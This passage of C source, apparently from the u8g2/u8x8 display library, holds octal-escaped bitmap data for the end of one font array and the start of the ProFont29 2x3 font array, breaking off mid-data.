\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\360\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\17\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\376\\374\\370\\360\\360\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\376>\"\n  \"\\36\\2\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\17\\17\\37\\37\\37\\77\\77\\77\"\n  \"\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\37\\37\\37\\17\\17\\17\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\"\n  \"\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\"\n  \"\\370\\360\\300\\0\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\77\\37\\17\\7\\3\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\1\\1\\1\\3\\7\\17\\37\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\"\n  \"\\377\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\7\\17\\37\\77\\177\\177\\177\\77\\37\"\n  \"\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\177\\377\\377\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\77\\177\\377\\377\"\n  \"\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\77\\177\\377\\377\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\340\\374\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\370\\377\\377\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\17\"\n  \"\\7\\3\\1\\0\\0\\1\\3\\7\\17\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p>\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37>p\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"<~\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\377\\377\\377\\377~<\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\360\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\"\n  \"\\360\\360\\340\\300\\3\\7\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\17\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\"\n  \"\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\377\\377\\377\\377~<\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"<~\\377\\377\\377\\377~<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: ProFont29\n  Copyright: ProFont Distribution 2.2  Generated by Fontographer 4.1.5\n  Glyphs: 224/256\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_profont29_2x3_f[10756] U8X8_FONT_SECTION(\"u8x8_font_profont29_2x3_f\") = \n  \" \\377\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\377\\377\\377\\34\\34\\34\\377\\377\\377\"\n  \"\\34\\34\\34\\0\\7\\7\\7\\77\\77\\77\\7\\7\\7\\77\\77\\77\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\374\\376\\216\\7\\377\\377\\377\\7\\16><\\60\\0\\0\\0`\\341\\343\\203\\7\\377\\377\\377\\7\\216\\376\\374\"\n  \"p\\0\\0\\0\\0\\1\\3\\3\\7\\77\\77\\77\\7\\3\\3\\1\\0\\0\\0\\0p\\374\\376\\7\\7\\377\\377\\367\\307\\347\\367\\177\"\n  \"\\77\\37\\0\\0\\300\\341\\363\\177\\77\\177\\377\\377\\7\\7\\375\\374p\\0\\0\\0\\7\\7\\7\\0\\0\\0\\1\\3\\7\\7\\3\\1\"\n  \"\\0\\0\\0\\0p\\374\\376\\216\\207\\307\\347\\367~>\\34\\0\\0\\0\\0\\0p\\375\\377\\217\\17\\37=\\370\\360\\340\\360\\370\"\n  \"<\\30\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\3\\7\\7\\2\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\36<\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\376\\374\\370\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\20\\70<\\36\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\70\\70\\360\\340\\376\\376\\376\\360\\360\\70\\70\\20\\0\\0\\0\\2\\7\\7\\3\\3\\77\\77\\77\\3\\3\\7\\7\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@\\341\\363\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\207\\307\\347\\376\\376\\374\\360\\0\\0\\177\\377\\377\\370<\\36\\17\\7\\3\\1\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\70\\70\\70<\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\7\\216\\376\\374p\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\6\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\207\\216\\376\"\n  \"\\374p\\0\\0`\\340\\340\\200\\0\\0\\7\\7\\7\\17\\217\\375\\370p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\377\\377\\377\\0\\0\\0\\0\\0\\37\\37\\37\\35\\34\\34\\34\\34\\377\\377\\377\\34\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\347\\347\\347\\347\\347\\347\\347\\307\\307\"\n  \"\\207\\7\\0\\0`\\340\\340\\200\\0\\0\\0\\0\\0\\0\\201\\377\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\360\\374\\376\\356\\347\\347\\347\\347\\347\\347\\307\\300\\200\\0\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\307\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\374\\376\\216\\207\\7\\7\\7\\7\\207\\216\\376\\374p\\0\\0p\\370\\375\\217\\17\\7\\7\\7\\7\\17\\217\\375\"\n  \"\\370p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\3\\17\\37\\34\\70\\70\\70\\70\\70\\70\\270\\377\\377\\177\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\343\\343\\343\\301\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\301\\343\\343\\343\\301\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\341\\363\\177\\77\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\17\\7\\2\\0\\0\\0\\0\\2\\7\\17\\37=x\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\2\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\7\\17\\36<x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x=\\37\\17\"\n  \"\\7\\2\\0\\0\\0\\0\\2\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\7\\216\\376\"\n  \"\\374\\360\\0\\0\\0\\0\\0\\0\\0\\60\\70<\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\16\\7\\207\\307\\347\\347\\347\\356\\376\\374\\360\\0\\0\\177\\377\\377\\200\\0\\17\\37\\77\\70\\70\\70\\77\"\n  \"\\37\\17\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\300\\360\\374\\77\\17\\17\\77\\374\\360\\300\"\n  \"\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\207\\216\\376\\374p\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\17\\217\\375\"\n  \"\\370p\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16>\"\n  \"<\\60\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\340\\340`\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\16\\376\\374\\360\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16>\"\n  \"<\\60\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\7\\7\\207\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0x\\370\\370\\200\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\377\\377\\377\\200\\300\\340\\360x<\\36\\17\\7\"\n  \"\\3\\0\\0\\0\\377\\377\\377\\17\\37=x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\1\\3\\7\\7\"\n  \"\\6\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\36<x\\360\\340\\360x<\\36\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\7\\7\\7\\0\\0\\0\\377\\377\\377\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\7\\7\\0\\377\\377\\377\\36<x\\360\\340\\300\\200\\0\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\3\\7\\17\\377\"\n  \"\\377\\377\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\216\\376\\374p\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\177\\377\\377\\200@\\340\\340\\300\\200\\200\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\37\\77\"\n  \"\\71\\20\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\207\\216\\376\\374p\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\17\\17\\375\"\n  \"\\370\\360\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0p\\374\\376\\216\\7\\7\\7\\7\\7\\7\\16>\"\n  \"<\\60\\0\\0`\\341\\343\\203\\7\\7\\7\\7\\7\\7\\216\\376\\374p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\7\\37~\\370\\340\\340\\370~\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\300\\340\\360\\177\\77\\177\\360\\340\\340\\377\\377\\377\\0\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\1\\3\"\n  \"\\7\\7\\7\\0\\37\\77\\177\\360\\340\\300\\200\\200\\300\\340\\360\\177\\77\\37\\0\\0\\300\\340\\360x=\\37\\17\\17\\37=x\\360\"\n  